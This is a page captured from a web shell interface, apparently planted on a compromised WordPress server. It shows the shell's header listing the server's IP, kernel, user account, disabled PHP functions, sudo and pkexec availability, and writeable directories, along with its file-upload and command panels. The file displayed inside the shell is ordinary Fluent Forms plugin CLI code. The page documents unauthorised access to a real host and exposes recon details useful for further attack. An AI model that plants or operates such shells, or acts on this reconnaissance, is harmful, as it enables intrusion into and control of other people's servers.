403Webshell
Server IP : 64.225.102.56  /  Your IP : 216.73.216.220
Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System : Linux smtp.zejefoy.com 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : auto ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/auto/web/cifisoa.com/public_html/wp-content/plugins/fluentform/app/Modules/CLI/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/auto/web/cifisoa.com/public_html/wp-content/plugins/fluentform/app/Modules/CLI/Commands.php
<?php

namespace FluentForm\App\Modules\CLI;

use FluentForm\App\Models\Form;
use FluentForm\App\Models\Submission;

class Commands
{
    public function stats($args, $assoc_args)
    {
        $overallStats = [
            [
                'title' => __('All Forms', 'fluentform'),
                'count' => Form::count(),
            ],
            [
                'title' => __('All Submissions', 'fluentform'),
                'count' => Submission::count(),
            ],
            [
                'title' => __('Unread Submissions', 'fluentform'),
                'count' => Submission::where('status', 'unread')
                    ->count(),
            ],
        ];

        $format = \WP_CLI\Utils\get_flag_value($assoc_args, 'format', 'table');

        \WP_CLI\Utils\format_items(
            $format,
            $overallStats,
            ['title', 'count']
        );
    }

    public function activate_license($args, $assoc_args)
    {
        if (!defined('FLUENTFORMPRO')) {
            \WP_CLI::line('Fluent Forms pro is not available');
            return;
        }

        if (empty($assoc_args['key'])) {
            \WP_CLI::line('use --key=LICENSE_KEY to activate the license');
            return;
        }

        $licenseKey = trim(sanitize_text_field($assoc_args['key']));

        if (!function_exists('fluentFormProActivateLicense')) {
            \WP_CLI::line('Sorry, fluent forms pro plugin is not up to date');
            return;
        }

        \WP_CLI::line('Validating License, Please wait');

        $response = fluentFormProActivateLicense($licenseKey);

        if (is_wp_error($response)) {
            \WP_CLI::error($response->get_error_message());
            return;
        }

        \WP_CLI::success('Your license key has been successfully updated');

        \WP_CLI::line('Your License Status: ' . $response['status']);
        \WP_CLI::line('Expire Date: ' . $response['response']->expires);
        return;
    }

    public function license_status()
    {
        if (!defined('FLUENTFORMPRO')) {
            \WP_CLI::line('Fluent Forms pro is not available');
            return;
        }

        $instance = \FluentFormAddOnChecker::getInstance();

        if (!$instance) {
            \WP_CLI::line('FluentCRM Pro is not initiated');
            return;
        }

        \WP_CLI::line('Fetching License details, Please wait');

        $response = $instance->getRemoteLicense();

        if (is_wp_error($response)) {
            \WP_CLI::error($response->get_error_message());
            return;
        }

        if (!$response) {
            \WP_CLI::error('License key has not been set!');
            return;
        }

        \WP_CLI::line('Your License Status: ' . $response->license);
        \WP_CLI::line('Expires: ' . $response->expires);
        return;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit